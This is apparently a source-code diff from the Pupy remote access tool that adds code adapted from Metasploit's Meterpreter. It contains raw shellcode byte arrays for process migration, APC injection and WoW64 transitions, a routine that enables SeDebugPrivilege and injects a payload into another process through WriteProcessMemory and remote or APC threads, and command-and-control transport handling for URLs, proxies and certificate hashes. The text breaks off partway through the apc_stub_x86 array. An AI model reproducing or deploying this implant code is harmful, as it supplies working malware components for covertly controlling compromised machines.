+// see 'external/source/shellcode/windows/x64/src/migrate/migrate.asm' +BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\xE4\xF0\xE8" + "\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48" + "\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48" + "\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" + "\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52" + "\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B" + "\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48" + "\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34" + "\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41" + "\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8" + "\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40" + "\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E" + "\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0" + "\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x49\xBE\x77" + "\x73\x32\x5F\x33\x32\x00\x00\x41\x56\x48\x89\xE1\x48\x81\xEC\xA0" + "\x01\x00\x00\x49\x89\xE5\x48\x83\xEC\x28\x41\xBA\x4C\x77\x26\x07" + "\xFF\xD5\x4C\x89\xEA\x6A\x02\x59\x41\xBA\x29\x80\x6B\x00\xFF\xD5" + "\x4D\x31\xC0\x41\x50\x41\x50\x4C\x8D\x4E\x10\x6A\x01\x5A\x6A\x02" + "\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41" + "\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; + +// We force 64bit algnment for HANDLES and POINTERS in order +// to be cross compatable between x86 and x64 migration. +typedef struct _MIGRATECONTEXT +{ + union + { + HANDLE hEvent; + BYTE bPadding1[8]; + } e; + + union + { + LPBYTE lpPayload; + BYTE bPadding2[8]; + } p; + + WSAPROTOCOL_INFO info; + +} MIGRATECONTEXT, * LPMIGRATECONTEXT; + +DWORD create_transport_from_request(Remote* remote, Packet* packet, Transport** transportBufer) +{ + DWORD result = ERROR_NOT_ENOUGH_MEMORY; + Transport* transport = NULL; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + TimeoutSettings timeouts = { 0 }; + + int sessionExpiry = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + timeouts.comms = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + timeouts.retry_total = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + timeouts.retry_wait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // special case, will still leave this in here even if it's not transport related + if (sessionExpiry != 0) + { + remote->sess_expiry_time = sessionExpiry; + remote->sess_expiry_end = current_unix_timestamp() + remote->sess_expiry_time; + } + + if (timeouts.comms == 0) + { + timeouts.comms = remote->transport->timeouts.comms; + } + if (timeouts.retry_total == 0) + { + timeouts.retry_total = remote->transport->timeouts.retry_total; + } + if (timeouts.retry_wait == 0) + { + timeouts.retry_wait = remote->transport->timeouts.retry_wait; + } + + dprintf("[CHANGE TRANS] Url: %S", transportUrl); + dprintf("[CHANGE TRANS] Comms: %d", timeouts.comms); + dprintf("[CHANGE TRANS] Retry Total: %u", timeouts.retry_total); + dprintf("[CHANGE TRANS] Retry Wait: %u", timeouts.retry_wait); + + do + { + if (transportUrl == NULL) + { + dprintf("[CHANGE TRANS] Something was NULL"); + break; + } + + if (wcsncmp(transportUrl, L"tcp", 3) == 0) + { + MetsrvTransportTcp config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + memcpy(config.common.url, transportUrl, sizeof(config.common.url)); + transport = remote->trans_create(remote, &config.common, NULL); + } + else + { + BOOL ssl = wcsncmp(transportUrl, L"https", 5) == 0; + wchar_t* ua = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_UA); + wchar_t* proxy = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_HOST); + wchar_t* proxyUser = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_USER); + wchar_t* proxyPass = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_PROXY_PASS); + PBYTE certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + + MetsrvTransportHttp config = { 0 }; + config.common.comms_timeout = timeouts.comms; + config.common.retry_total = timeouts.retry_total; + config.common.retry_wait = timeouts.retry_wait; + wcsncpy(config.common.url, transportUrl, URL_SIZE); + + if (proxy) + { + wcsncpy(config.proxy.hostname, proxy, PROXY_HOST_SIZE); + free(proxy); + } + + if (proxyUser) + { + wcsncpy(config.proxy.username, proxyUser, PROXY_USER_SIZE); + free(proxyUser); + } + + if (proxyPass) + { + wcsncpy(config.proxy.password, proxyPass, PROXY_PASS_SIZE); + free(proxyPass); + } + + if (ua) + { + wcsncpy(config.ua, ua, UA_SIZE); + free(ua); + } + + if (certHash) + { + memcpy(config.ssl_cert_hash, certHash, CERT_HASH_SIZE); + // No need to free this up as it's not a wchar_t + } + + transport = remote->trans_create(remote, &config.common, NULL); + } + + // tell the server dispatch to exit, it should pick up the new transport + result = ERROR_SUCCESS; + } while (0); + + *transportBufer = transport; + + return result; +} + +DWORD remote_request_core_transport_list(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Add the session timeout to the top level + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + + Transport* current = remote->transport; + Transport* first = remote->transport; + + do + { + Packet* transportGroup = packet_create_group(); + + if (!transportGroup) + { + // bomb out, returning what we have so far. + break; + } + + dprintf("[DISPATCH] Adding URL %S", current->url); + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_URL, current->url); + dprintf("[DISPATCH] Adding Comms timeout %u", current->timeouts.comms); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_COMM_TIMEOUT, current->timeouts.comms); + dprintf("[DISPATCH] Adding Retry total %u", current->timeouts.retry_total); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_TOTAL, current->timeouts.retry_total); + dprintf("[DISPATCH] Adding Retry wait %u", current->timeouts.retry_wait); + packet_add_tlv_uint(transportGroup, TLV_TYPE_TRANS_RETRY_WAIT, current->timeouts.retry_wait); + + if (current->type != METERPRETER_TRANSPORT_SSL) + { + HttpTransportContext* ctx = (HttpTransportContext*)current->ctx; + dprintf("[DISPATCH] Transport is HTTP/S"); + if (ctx->ua) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_UA, ctx->ua); + } + if (ctx->proxy) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_HOST, ctx->proxy); + } + if (ctx->proxy_user) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_USER, ctx->proxy_user); + } + if (ctx->proxy_pass) + { + packet_add_tlv_wstring(transportGroup, TLV_TYPE_TRANS_PROXY_PASS, ctx->proxy_pass); + } + if (ctx->cert_hash) + { + packet_add_tlv_raw(transportGroup, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } + + packet_add_group(response, TLV_TYPE_TRANS_GROUP, transportGroup); + + current = current->next_transport; + } while (first != current); + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +BOOL remote_request_core_transport_next(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to next transport (from 0x%p to 0x%p)", remote->transport, remote->transport->next_transport); + if (remote->transport == remote->transport->next_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->next_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; + +} + +BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) +{ + dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Transports are the same, don't do anything"); + // if we're switching to the same thing, don't bother. + *result = ERROR_INVALID_FUNCTION; + } + else + { + dprintf("[DISPATCH] Transports are different, perform the switch"); + remote->next_transport = remote->transport->prev_transport; + *result = ERROR_SUCCESS; + } + + packet_transmit_empty_response(remote, packet, *result); + return *result == ERROR_SUCCESS ? FALSE : TRUE; +} + +DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + + // make sure we are not trying to remove the last transport + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Refusing to delete the last transport"); + result = ERROR_INVALID_FUNCTION; + } + else + { + Transport* found = NULL; + Transport* transport = remote->transport; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + do + { + if (wcscmp(transportUrl, transport->url) == 0) + { + found = transport; + break; + } + + transport = transport->next_transport; + } while (transport != remote->transport); + + if (found == NULL || found == remote->transport) + { + dprintf("[DISPATCH] Transport not found, or attempting to remove current"); + // if we don't have a valid transport, or they're trying to remove the + // existing one, then bomb out (that might come later) + result = ERROR_INVALID_PARAMETER; + } + else + { + remote->trans_remove(remote, found); + dprintf("[DISPATCH] Transport removed"); + } + + SAFE_FREE(transportUrl); + } + + packet_transmit_empty_response(remote, packet, result); + dprintf("[DISPATCH] Response sent."); + return result; +} + +DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) +{ + Transport* transport = NULL; + DWORD result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, result); + return result; +} + +BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) +{ + // we'll reuse the comm timeout TLV for this purpose + DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + + dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); + + // to sleep, we simply jump to the same transport, with a delay + remote->next_transport_wait = seconds; + remote->next_transport = remote->transport; + + packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); + *result = ERROR_SUCCESS; + + // exit out of the dispatch loop + return FALSE; +} + +BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) +{ + Transport* transport = NULL; + *result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, *result); + + if (*result == ERROR_SUCCESS) + { + remote->next_transport = transport; + // exit out of the dispatch loop. + return FALSE; + } + + return TRUE; +} + +/*! + * @brief Set the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // no setting of the cert hash if the target isn't a HTTPS transport + if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) + { + result = ERROR_BAD_ENVIRONMENT; + break; + } + + unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + // Support adding a new cert hash if one doesn't exist + if (!ctx->cert_hash) + { + if (certHash) + { + PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); + if (!newHash) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + memcpy(newHash, certHash, CERT_HASH_SIZE); + + // Set it at the last minute. Mucking with "globals" and all, want to make sure we + // don't set it too early.. just in case. + ctx->cert_hash = newHash; + } + else + { + // at this time, don't support overwriting of the existing hash + // as that will cause issues! + result = ERROR_BAD_ARGUMENTS; + break; + } + } + // support removal of the existing hash + else + { + if (certHash) + { + result = ERROR_BAD_ARGUMENTS; + break; + } + else + { + SAFE_FREE(ctx->cert_hash); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Get the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Rather than error out if the transport isn't HTTPS, we'll just return + // an empty response. This prevents a horrible error appearing in the + // MSF console + if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + if (ctx->cert_hash) + { + packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Migrate the meterpreter server from the current process into another process. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @param pResult Pointer to the memory that will receive the result. + * @returns Indication of whether the server should continue processing or not. + */ +BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet * response = NULL; + HANDLE hToken = NULL; + HANDLE hProcess = NULL; + HANDLE hEvent = NULL; + BYTE * lpPayloadBuffer = NULL; + LPVOID lpMigrateStub = NULL; + LPBYTE lpMemory = NULL; + MIGRATECONTEXT ctx = { 0 }; + DWORD dwMigrateStubLength = 0; + DWORD dwPayloadLength = 0; + DWORD dwProcessID = 0; + DWORD dwDestinationArch = 0; + + MetsrvConfig* config = NULL; + DWORD configSize = 0; + + do + { + response = packet_create_response(packet); + if (!response) + { + dwResult = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Get the process identifier to inject into + dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); + + // Get the target process architecture to inject into + dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); + + // Get the length of the payload buffer + dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); + + // Receive the actual migration payload buffer + lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); + + dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); + + // If we can, get SeDebugPrivilege... + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + TOKEN_PRIVILEGES priv = { 0 }; + + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + { + if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); + { + dprintf("[MIGRATE] Got SeDebugPrivilege!"); + } + } + + CloseHandle(hToken); + } + + // Open the process so that we can migrate into it + hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); + if (!hProcess) + { + BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") + } + + // get the existing configuration + dprintf("[MIGRATE] creating the configuration block"); + remote->config_create(remote, &config, &configSize); + dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); + + if (config->session.comms_fd) + { + // Duplicate the socket for the target process if we are SSL based + if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) + { + BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") + } + } + + // Create a notification event that we'll use to know when it's safe to exit + // (once the socket has been referenced in the other process) + hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (!hEvent) + { + BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") + } + + // Duplicate the event handle for the target process + if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") + } + + // Get the architecture specific process migration stub... + if (dwDestinationArch == PROCESS_ARCH_X86) + { + lpMigrateStub = (LPVOID)&migrate_stub_x86; + dwMigrateStubLength = sizeof(migrate_stub_x86); + } + else if (dwDestinationArch == PROCESS_ARCH_X64) + { + lpMigrateStub = (LPVOID)&migrate_stub_x64; + dwMigrateStubLength = sizeof(migrate_stub_x64); + } + else + { + SetLastError(ERROR_BAD_ENVIRONMENT); + dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); + break; + } + + // Allocate memory for the migrate stub, context, payload and configuration block + lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpMemory) + { + BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") + } + + // Calculate the address of the payload... + ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); + + // Write the migrate stub to memory... + dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); + if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") + } + + // Write the migrate context to memory... + dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); + if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") + } + + // Write the migrate payload to memory... + dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); + if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") + } + + // finally write the configuration stub + dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); + if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") + } + + // First we try to migrate by directly creating a remote thread in the target process + if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); + + // If that fails we can try to migrate via a queued APC in the target process + if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") + } + } + + dwResult = ERROR_SUCCESS; + + } while (0); + + SAFE_FREE(config); + + // If we failed and have not sent the response, do so now + if (dwResult != ERROR_SUCCESS && response) + { + dprintf("[MIGRATE] Sending response"); + packet_transmit_response(dwResult, remote, response); + } + + // Cleanup... + if (hProcess) + { + dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); + CloseHandle(hProcess); + } + + if (hEvent) + { + dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); + CloseHandle(hEvent); + } + + if (pResult) + { + *pResult = dwResult; + } + + // if migration succeeded, return 'FALSE' to indicate server thread termination. + dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); + return ERROR_SUCCESS == dwResult ? FALSE : TRUE; +} + +/*! + * @brief Update the timeouts with the given values + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + * @remark If no values are given, no updates are made. The response to + * this message is the new/current settings. + */ +DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // TODO: put this in a helper function that can be used everywhere? + + // if it's in the past, that's fine, but 0 implies not set + if (expirationTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); + remote->sess_expiry_time = expirationTimeout; + remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; + } + + if (commsTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); + remote->transport->timeouts.comms = commsTimeout; + remote->transport->comms_last_packet = current_unix_timestamp(); + } + + if (retryTotal > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); + remote->transport->timeouts.retry_total = retryTotal; + } + + if (retryWait > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); + remote->transport->timeouts.retry_wait = retryWait; + } + + // for the session expiry, return how many seconds are left before the session actually expires + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); + + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + diff --git a/client/sources/base_inject.c b/client/sources/base_inject.c new file mode 100644 index 00000000..d141d30b --- /dev/null +++ b/client/sources/base_inject.c @@ -0,0 +1,605 @@ +/* + This code is originally from meterpreter and has been modified to be integrated into pupy. + original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ + +Meterpreter is available for use under the following license, commonly known as the +3-clause (or "modified") BSD license: + +========================================================================================= + +Meterpreter +----------- + +Copyright (c) 2006-2013, Rapid7 Inc + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + +//#include "common.h" +#include + +#include "thread.h" +#include "list.h" +#include "remote_thread.h" +#include "LoadLibraryR.h" +#include "base_inject.h" +#include +#include "Python-dynload.h" + + +#define BREAK_ON_ERROR( str ) { PyErr_SetString(PyExc_Exception, str); break; } + +// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' +BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" + "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" + "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" + "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" + "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; + +// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' +BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" + "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" + "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" + "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" + "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" + "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" + "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" + "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" + "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" + "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" + "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" + "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" + "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" + "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" + "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" + "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" + "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; + +// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' +BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" + "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" + "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" + "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" + "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" + "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" + "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" + "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" + 